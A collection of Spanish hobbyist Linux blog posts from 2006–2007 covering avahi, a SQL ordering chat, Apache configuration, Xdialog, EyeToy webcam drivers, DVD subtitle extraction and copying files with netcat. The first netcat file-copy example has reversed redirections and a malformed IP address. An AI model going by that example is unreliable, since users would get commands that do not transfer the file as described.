Cuando lo hice no pensaba subirlo a ningún lado, así que estará un poco verde y puede que necesites adaptarlo un poco. Si tenéis algún tipo de sugerencia / mejora / problemas, como siempre serán bien recibidos (0 no)
El kutre-script de marras:
grabar_4GB
¡Besitos anales!
[1] Mientras me documentaba para escribir esta reseña, leo en el man de mkisofs que el tema de UDF está en fase alpha, así que hay esperanzas de que no tarde mucho en estar disponible y ser estable.
Publicado por
bpk
los
6:51 p. m.
0
comentarios
miércoles, 18 de julio de 2007
Avahi ... un misterio menos
Para aquellos que sepan qué es avahi, que no sigan leyendo... a no ser que quieran reirse de mi ignorancia ¬_¬
Hay una cosa de la que siempre que he podido me he quejado de Ubuntu:
A la hora de configurar la red, como siempre pasa en estos mundos del software libre, tienes un millón de formas de hacerlo; pero en Ubuntu es donde
me he encontrado por primera vez que cuando configuras la red a través del herramienta gráfica, luego mirabas en el archivo /etc/network/interfaces ...
¡Y ahí no había nada de lo que habías estado poniendo!
Por otro lado, cuando realizas los cambios en el /etc/network/interfaces alguna vez me he vuelto medio loco porque no conseguía que el servicio se
comportase como se le supone...
En fin, un montón de cosas raras más propias de otros sistemas que basan su configuración en un oscuro registro y de lo que yo pensaba que estaba a
salvo en el sistema del pingüino...
Pues bien, hoy estaba jugando con el lsof y aprendiendo algunas opciones interesantes (eso para otro día en el que me ponga a escribir un artículo
de verdad ~_^) y he visto el proceso ese raro:
root@acer-laptop:/home/bpk# lsof -i
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
avahi-dae 4666 avahi 13u IPv4 15856 UDP *:mdns
avahi-dae 4666 avahi 14u IPv4 15857 UDP *:32769
Y yo pensado, ¡coño, qué es esto!
root@acer-laptop:/home/bpk# dpkg -l "avahi*"
Desired=Unknown/Install/Remove/Purge/Hold
| Status=Not/Installed/Config-files/Unpacked/Failed-config/Half-installed
|/ Err?=(none)/Hold/Reinst-required/X=both-problems (Status,Err: uppercase=bad)
||/ Name Version Description
+++-=================================-=================================
ii avahi-autoipd 0.6.17-0ubuntu3 Avahi IPv4LL network address configuration daemon
ii avahi-daemon 0.6.17-0ubuntu3 Avahi mDNS/DNS-SD daemon
Interesante...
root@acer-laptop:/home/bpk# apt-cache show avahi-autoipd
Package: avahi-autoipd
Priority: optional
Section: net
Installed-Size: 176
Maintainer: Ubuntu Core Developers
Original-Maintainer: Utopia Maintenance Team
Architecture: i386
Source: avahi
Version: 0.6.17-0ubuntu3
Depends: libc6 (>= 2.5-0ubuntu1), libdaemon0, adduser
Recommends: dhcp3-client, iproute
Conflicts: zeroconf
Filename: pool/main/a/avahi/avahi-autoipd_0.6.17-0ubuntu3_i386.deb
Size: 42356
MD5sum: 6bf4b572186ebae0f77ef22ac721cf3b
SHA1: 7a6ae3c80a7ca5b8d72117b56a93cbae9b67a981
SHA256: b43a7725850cbcdfa339be0c0cdea26ad4de402e80ee9aded41a0a4ad5a650d5
Description: Avahi IPv4LL network address configuration daemon
Avahi is a fully LGPL framework for Multicast DNS Service Discovery.
It allows programs to publish and discover services and hosts
running on a local network with no specific configuration. For
example you can plug into a network and instantly find printers to
print to, files to look at and people to talk to.
.
This tool implements IPv4LL, "Dynamic Configuration of IPv4 Link-Local
Addresses" (IETF RFC3927), a protocol for automatic IP address
configuration from the link-local 169.254.0.0/16 range without the
need for a central server. It is primarily intended to be used in
ad-hoc networks which lack a DHCP server.
Bugs: mailto:ubuntu-users@lists.ubuntu.com
Origin: Ubuntu
Task: ubuntu-desktop, kubuntu-desktop, xubuntu-desktop
y
root@acer-laptop:/home/bpk# apt-cache show avahi-daemon
Package: avahi-daemon
Priority: optional
Section: net
Installed-Size: 364
Maintainer: Ubuntu Core Developers
Original-Maintainer: Utopia Maintenance Team
Architecture: i386
Source: avahi
Version: 0.6.17-0ubuntu3
Depends: libavahi-common3, libavahi-core5, libc6 (>= 2.5-0ubuntu1), libcap1, libdaemon0, libdbus-1-3 (>= 0.94), libexpat1 (>= 1.95.8), adduser, dbus
(>= 0.60)
Recommends: libnss-mdns
Suggests: avahi-autoipd
Conflicts: mdnsresponder
Filename: pool/main/a/avahi/avahi-daemon_0.6.17-0ubuntu3_i386.deb
Size: 78398
MD5sum: 09ad1ba9c1979c05dc03e1c83935a3c7
SHA1: 42e8310fc438fd67ce39274031d2d72f0748ed8c
SHA256: 9d96182dc6c3e02f29593be65d8b0fc4b099ddf19e2244d7b0c927ff21b7853a
Description: Avahi mDNS/DNS-SD daemon
Avahi is a fully LGPL framework for Multicast DNS Service Discovery.
It allows programs to publish and discover services and hosts
running on a local network with no specific configuration. For
example you can plug into a network and instantly find printers to
print to, files to look at and people to talk to.
.
This package contains the Avahi Daemon which represents your machine
on the network and allows other applications to publish and resolve
mDNS/DNS-SD records.
Bugs: mailto:ubuntu-users@lists.ubuntu.com
Origin: Ubuntu
Task: ubuntu-desktop, kubuntu-desktop, edubuntu-desktop, xubuntu-desktop
Y por último, echando una visual en el predecible directorio /etc/avihi/ se ve claramente como funciona el programa de marras y qué cositas hace.
Los links de rigor, por si alguien quiere ver lo que se puede hacer con el programa de marras:
La peich de la wikipedia
La página oficial
Especialmente interesante el man del archivo de configuración
That´s all folks!
Publicado por
bpk
los
8:32 a. m.
0
comentarios
Etiquetas: configuracion, redes, ubuntu
jueves, 5 de julio de 2007
Un problema de esecueles
Un dia en gtalk...
Jaime:
cambiando de tema. te propongo un problema de Ordenacion con sql a ver si lo sacas?
yo lo estoy meditando
creo que lo tengo
Pedro:
okis
pero yo estoy muy verde
Jaime:
SELECT id FROM tabla
1, 2, 3 ,4
SELECT id FROM tabla ORDER By Id
1, 2, 3, 4
Hadme una SQL para que de
2, 1, 3, 4
Pedro:
y supongo que no hay otro campo que nos permita ordenarlo con lógica, ¿no?
Jaime:
la logica es que van ordenados pero primero tiene que salir el registro 2
ordenados por id
solo tiene el campo id la tabla
Pedro:
¿¿??
te interesa el 2 y despues el resto?
Jaime:
sip
mis motivos tengo
Pedro:
okis, y porqué no sacas el 2 y despues el resto?
en plan subselect y punto?
Jaime:
con una select please :D
no
caca
Pedro:
lo sé
Jaime:
subselect ya sabes que caca
Pedro:
sipe
¿union?
lo sé kk
Minutos mas tarde...
Jaime:
te rindes?
la verda es que no se si sera mas obtimo :P
optimo
Pedro:
estoy pensando en group by y having
pero creo que necesitas de todas formas una subselect...
Jaime:
abs te suena ?
Pedro:
nope
Jaime:
valor absoluto de un numero
Pedro:
okis
Jaime:
SELECT *, ABS((id - 2)) AS CampoOrden FROM tabla ORDER BY CampoOrden
En mi caso ademas tengo que ordenar por id tambien
por motivos que no vienen al caso
como me mola SQL ;D
Pedro:
sipe, a mi me mola mucho
pero no termino de ver el ABS
Jaime:
id es unico
vale?
Pedro:
sipe
por cierto, eso es solo de transact estoy viendo
por eso no me sonaba con lo buueno que soy yo
;;-)
y oracle
Jaime:
1 - 2 = -1; Abs(-1) = 1
2 - 2 = 0; Abs(0) = 0
3 - 2 = 1; Abs(1) = 1
etc
lo ves?
el sql server se lo zampa
Pedro:
que guay, si señor
Jaime:
y el oracle seguro que tambien
ten en cuenta que las operaciones matematicas son demasiado indispensables para hacerlas solo con transact
sobre todo el abs
Minutos despues...
Pedro:
falsa alarma, el abs parece sql de pura cepa
Jaime:
ya te dije
Minutos despues...
Jaime:
y complicandolo un poco
si quires que salga primero el 2 luego el 3 y luego el 4 y despues los que quedan?
:D
2, 3, 4, ....
como me gusta bombardearte el cerebro
XD
Minutos despues...
Pedro:
¿no valdría unos cuantos "FIRST"?
Jaime:
?
no se
olvida 2, 3, 4
imagina 4, 2, 5
y despues el resto
tendrias que hacer 3 orders
con abs cada uno...
creo... XD
tampoco lo he pensao mucho
Pedro:
yo no creo que interesase ABS para eso
Jaime:
no?
como lo harias
lo de los 3 orders olvidalo
que no rularia....
Pedro:
SELECT FIRST(id+3), FIRST(id+1),FIRST(id+4) FROM ...
Jaime:
y te daria :
Servidor: mensaje 195, nivel 15, estado 10, línea 1
'FIRST' no es un nombre de función reconocido.
XD
Pedro:
¿¿??
http://www.w3schools.com/sql/func_first.asp
Jaime:
XD
mamon
Pedro:
¿por?
a ver si quieres que tenga todas las funciones en la cabeza
xDD
Jaime:
no rula en sql server
Pedro:
¿y el case?
creo que valdria
http://technet.microsoft.com/es-es/library/ms181765.aspx
de hecho creo que sería la mejor solución
Jaime:
?
estas fumao
XD
hadlo con case
Pedro:
siempre
Jaime:
a ver como lo haces
FIRST = TOP 1
Pedro:
sipe
es el mismo principio que con ABS pero no ordena el resto
Jaime:
pero tienes que hacer union
ein?
XD
Pedro:
no si lo haces con un group by...
... no westoy muuy seguro de eso
Jaime:
Si haces SELECT TOP 1 id FROM tabla
te da 1
no 2
estas mu oxidao
Pedro:
hay que ponerlo en el where
Jaime:
que jodio
XD
y union
XD
Pedro:
no deberías
Jaime:
????
Pedro:
por un lado lo del CASE:
en el linkl que te he mandado
Jaime:
pedro
Pedro:
SELECT ProductNumber, Category =
CASE ProductLine
WHEN 'R' THEN 'Road'
WHEN 'M' THEN 'Mountain'
WHEN 'T' THEN 'Touring'
WHEN 'S' THEN 'Other sale items'
ELSE 'Not for sale'
END,
Name
FROM Production.Product
ORDER BY ProductNumber;
Jaime:
dices barbaridades
Pedro:
¿eso no valdría?
Jaime:
como?
had la select para el ejemplo que te he puesto
piensalo
por dios
Pedro:
utilizas lo de ese ejemplo como alias para luego ordenarlo
si pienso no escribo
xDD
Jaime:
se nota
XD
Minutos despues...
Pedro:
SELECT id, ordenacion =
CASE id
WHEN 4 THEN 1
WHEN 2 THEN 2
WHEN 5 THEN 3
THEN 'Other sale items'
ELSE ABS(id+4)
FROM tabla
ORDER BY ordenacion;
habría que pdrobarlo y pulislo pero cfreo que valdría
de todas formas yo no sé transact
xD
Minutos despues...
Jaime:
claro
XD
Pedro:
no vale lo del case o qué?
mira que yo lo veo viable
xD
Jaime:
voy a probar
a ver
que me parece que hasta tienes razon
Pedro:
no te veo convencido
xD
Jaime:
no puedes hacerlo
o lo he hecho yo mal
Pedro:
yo diría que si que tiene que valer auqneu a lo mejor no exáctamente tal como lo he escrito
por cietrto otra forma de acerlo:
¿conoces el WITH de transact
y el ROWLOCK?
Jaime:
nop
Pedro:
promete, tu mientras ves mirando mi CASE
xD
Minutos despues...
Jaime:
mu guay el case
rula
te faltaba poner el end
Pedro:
soy el puto amo ^_^
xD
eso es porque mis comandos nunca terminan, se van a salvar a gatitos en los arboles cuando ya no se les necesita
xD
Jaime:
SELECT id, ordenacion =
CASE id
WHEN 4 THEN 1
WHEN 2 THEN 2
WHEN 5 THEN 3
ELSE ABS(id+4)
END
FROM tabla
ORDER BY ordenacion;
XD
esto es para poner un post :P
Pedro:
sipe, haz un copypaste ¿capado? del chat en finkalinux
Jaime:
pero creo sera mas rapido el abs para un solo resultado
Pedro:
^_^
seguro
Jaime:
me refiero para ordenar primero un registro
Pedro:
pero tu habías pedi 3 cabrón!!!
Jaime:
XD
pa 3 lo solucionaste tu
aunque te falto algo de sintaxis
XD
Pedro:
cerda!
Publicado por
moz667
los
12:46 p. m.
0
comentarios
Etiquetas: bases de datos, ordenacion, sql
jueves, 1 de febrero de 2007
Aliases y otras configs utiles en Apache
Estos son los alias y caracteristicas que mas utilizo en mi apache, asi que voy a comentarlos aqui por si algun dia necesito recordarlos :
# Alias normal apuntando a directorio
Alias /nombre-de-alias/ /directorio/
# Alias con validacion de un usuario especifico
Alias /nombre-de-alias/ /directorio/
<directory>
# Ni idea de pa que vale esto :
AuthType Basic
# Mensaje que te sale cuando te pide el user y pass
AuthName "Dame las password payo!!!"
# Fichero donde se guardan las passwords ver mas alante para generar un fichero
AuthUserFile /etc/apache/password
Require user usuario
</directory>
# Para generar un fichero hay que ejecutar lo siguiente :
# htpasswd -bc /etc/apache/passwords usuario password
# Ademas es conveniente dejar acceso solo al usuario que ejecuta el apache
# en el caso de gentoo es apache
# chown apache:apache /etc/apache/passwords
# chmod 500 /etc/apache2/passwords
# Directorio para que no diferencie minusculas de mayusculas
<directory>
CheckSpelling on
</directory>
# Directorio que solo permite un rango de ips determinado
# y te saca una lista de ficheros y directorios si no tienes
# el documento por defecto en el directorio
<directory>
Order Deny,Allow
Deny from all
# Solo permitimos a 176.168.1.* ó 176.168.2.*
Allow from 176.168.1
Allow from 176.168.2
# Esto es para sacar la lista de archivos y directorios
Options FollowSymLinks +Indexes
</directory>
Publicado por
moz667
los
4:54 p. m.
0
comentarios
Etiquetas: apache, configuracion
jueves, 4 de enero de 2007
Interfaces Graficas con scripts
Seguro que muchas veces hemos pensado en crear alguna interfaz para nuestros scripts, puesto que a veces , bien para ripear, para algunos scripts de pasar a mp3 etc, (o para las novias).
Pues precisamente existe una utilidad basada en gtk llamada Xdialog la cual tiene miles de opciones, pero un simple ejemplo puede ser el siguiente:
Xdialog --msgbox "mierda" 0 0
donde los parametros son los siguientes:
Xdialog --opcion "mensaje" with heigth
Dependiendo del option, tendras mas opciones despues del with en este caso es la longitud 0 seria la minima.
si haceis la prueba vereis que sale una caja de texto ajustada al texto.
tambien se pueden poner cajas de texto, botones, combos y un largo etc, e incluso se pueden poner
cajas de usuario y password:
Xdialog --password --2inputsbox "cuidado" 0 0 "usuario" "" "password" "
en este caso, si pulsamos ok, nos devolvera el usuario/password y si pulsamos cancelar, no nos devolvera nada.
los parametros son:
Xdialog --subtipo --tipo titulo with height tituloventana1 valorventana1 tituloventana2 valorventana2
bueno y nos oss imaginais la cantidad de opciones que existen.
Para instalarlo, ya sabeis:
apt-get install Xdialog. y con un sudo para los ubunteros.
os dejo el link de la referencia para que os incheis. ala.
http://thgodef.nerim.net/xdialog/doc/index.html
Un Saludo.
Publicado por
Palomo
los
4:58 p. m.
0
comentarios
Etiquetas: programacion, script
sábado, 23 de diciembre de 2006
Cómo hacer funcionar la webcam EyeToy de la PS2 en Ubuntu:
Supongo que también funcionará para Debian, estos son los pasos a seguir.
Lo primero es instalar los headers estos del kernel:sudo apt-get install build-essential linux-headers-`uname -r`
Esto nos bajará algunas cosillas para instalar los drivers y las cabeceras de nuestro kernel.
Lo siguiente es bajarnos el driver, nos aseguramos de que estamos en nuestra carpeta personal y ponemos:wget http://www.rastageeks.org/downloads/ov51x-jpeg/ov51x-jpeg-0.5.4.tar.gz
Ahora lo descomprimimos...tar -xvf ov51x-jpeg-0.5.4.tar.gz
cd ov51x-jpeg-0.5.4
Esto nos hará entrar en el directorio del driver recién descomprimido, lo siguiente es instalar los drivers:sudo make install
sudo modprobe videodev
sudo modprobe i2c_core
sudo insmod /lib/modules/`uname -r`/extra/ov51x.ko
sudo insmod /lib/modules/`uname -r`/extra/ov519_decomp.ko
Hay que poner una línea cada vez!
Por último para ver si funciona podemos usar un programilla como el xawTV para ver si funciona:sudo apt-get install xawtv
El manual este es una traducción muy libre del artículo: http://smorgasbord.net/howto_get_eyetoy_webcam_working_for_ubuntu
Publicado por
Tonacho
los
11:58 a. m.
0
comentarios
jueves, 14 de diciembre de 2006
Metodo alternativo para extraer substítulos de DVDs.
Sí, lo sé, esto ya estaba dicho en otro post y ya entonces era inútil de cojones (ahora tienes que estar sumando mentalmente todos los bits que has desperdiciado de ancho de banda cargando este puto artículo en lugar de estar viendo porno ^_^)
El caso es utilizando el método del mencoder he tenido problemas de sincronización con algunos ripeos. De todas formas sigo utilizándolo porque me parece más sencillo y sólo uso el otro método cuando no me queda otra.
Método tradicional:
Para saber qué subtitulos hay disponibles en el DVD
mplayer -v dvd://1 -dvd-device /mnt/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/ -vo null -ao null -frames 0 -v 2>&1 | grep sidExtraer subtítulos -sid 0, -sid 1, -sid 2...
mencoder dvd://1 -dvd-device /dev/pelis/DVD/Kiss\ Kiss\ Bang\ Bang/ -vobsubout subtitle_name -vobsuboutindex 0 -sid 0 -o frameno.avi -ovc frameno -nosoundMétodo alternativo:
Primero buscamos el valor del parámetro ID_SUBTITLE_ID en la salida del siguiente comando.
mplayer -dvd-device /mnt/musica/Commited/FREAKS_DVD/ \
dvd://1 -identify -vo null -frames 0 -v 2>&1| \
sed -n -e '/ID_SUBTITLE_ID/{1!p;g;$!N;p;D;}' -e h
ID_SUBTITLE_ID=0
subtÃtulo ( sid ): 0 idioma: en
ID_SID_0_LANG=en
ID_SUBTITLE_ID=4
subtÃtulo ( sid ): 1 idioma: es
ID_SID_1_LANG=es
Sumamos a 0x20 el número que hayamos visto (en este caso 0x20 + 4) y extraemos los subs
tccat -i /mnt/musica/Commited/FREAKS_DVD/ -T 1 -L | tcextract -x ps1 -t vob -a 0x24 > subs-esConvertimos el subs-es a formato idx
Nota: Cambiando el canal podemos meter varios subtítulos en un solo par de ficheros .sub e .idx, pero esto sólo funcionará a partir de Subtitleripper 0.3.1
subtitle2vobsub -o vobsubs-es -a 0,es -i /mnt/musica/Commited/FREAKS_DVD/VIDEO_TS/VTS_01_0.IFO < sub-es
¡A cuidarse!
Publicado por
bpk
los
1:21 p. m.
0
comentarios
miércoles, 18 de octubre de 2006
Primeros pasos con Netcat (como cp por TCP/IP)
Bueno, seguimos con el copy&paste - mira que hay que ser cutre para autoplagiar algo tan malo xDD
Este mini-articulo es en homenaje a un tio que conocí en la Campus-party que pilotaba de linux un rato largo y me enseñó lo que puede dar de sí Netcat... (hola Yshi/Plue ;-))
Como en la descripción de su ayuda indica el netcat es la “navaja suiza de TCP/IP”, lo que hace “solamente” es escribir o leer a traves de la red. Precisamente en su simplicidad está su potencia (ya sabeis, la filosofía Unix de pequeñas herramientas para combinarlas bla, bla, bla ;-))
Una de su mayores ventajas es que se comporta exáctamente igual independientemente del puerto en el que trabaje, de ahí que muchos lammers malos malísimos utilicen esta herramienta para simular un servidor ftp o un telnet y conseguir contraseñas (¿De verdad hay gente tan g$l$p$ll$s? XDDDD).
Yo principalmente uso netcat (o nc) para intercambiar ficheros cuando no quiero perder el tiempo instalando samba, nfs, scp o lo que sea. Esto va directo a vena ;-). Este articulo intentará explicar como utilizar netcat como un cp a traves de la red.
Aquí es donde llega el como instalarlo y tal, vamos a intentarlo:
Para Debian: apt-get install netcat
Para gentoo: emerge -va netcat
Para mandrake/Red Hat: urpmi netcat
Habeis cojido la idea, ¿no?. Bueno, para los machotes de slack, BSD o LFS, no sé que cojones hacéis leyendo esto ~_^
Al tomate:
Primero elegimos un puerto por el que se comunicarán (p.e. el 6600)
IP de la máquina origen: 172.26.0.10
IP de la máquina destino: 172.26.0.20
Para pasar un archivo:
Ponemos la máquina destino en escucha:
netcat -l -p 6600 172.260.10 < archivo
Y en la máquina origen escribimos:
netcat 172.26.0.20 -p 6600 > archivo
Paso a explicarlo:
-l Indica que lanzamos netcat en modo escucha (listen)
-p 6600 Puerto en el que espera la conexión
172.26.0.x Cuando en la máquina que escucha especificamos una IP, restringimos quien le manda la información, de forma que si recibiese información de otra IP, simplemente terminaría. En la máquina que escucha podemos omitir la IP sin problemas, todo depende de como de hostil sea tu red :-p
Pero es un coñazo hacer un nc con cada archivo que queramos pasar, ¿no?, ¿recordáis aquello de la filosofía Unix y combinar las pequeñas herramientas?, pues ahora vamos a tirar de tar que para eso está.
Como copiar un directorio por red:
Ponemos la máquina destino en escucha:
netcat -l -p 6600 172.26.0.10 |tar xvjf -
|tar xvjf - No voy a enumerar cada opción del tar porque no es el objetivo de este articulo, ya sabéis RTFM ^_^. Simplemente saber que el tar desempaquetará y descomprimirá todo lo que reciba. (si andais jodidos de espacio y sobrados de ancho de banda, podéis omitir la “j”)
Y en la máquina origen que envía los archivos:
tar cvjf – directorio_que_queremos_enviar/ | nc 172.26.0.20 6600
Como supondréis, lo que hace es compactar y comprimir un directorio para mandarlo por netcat en un solo archivo.
Como rollo anecdótico podemos usar el nc como servidor web con algo tan tonto como:
nc -l -p 80 index.html
Por supuesto, tiene otros muchos usos: Como chat, para conseguir información de servidores, etc.
Links de interes:
Tutorial de LINUCA bastante más completo que este :-)Si alguien tiene dudas de como funciona esto de las tuberías ( “<”,“>”,”|”,”-”, etc), nada mejor que TLDP-ES/LuCAS
Y eso es todo, ¡espero que os haya sido de utilidad!
Publicado por
bpk
los
7:50 p. m.
0
comentarios
Etiquetas: redes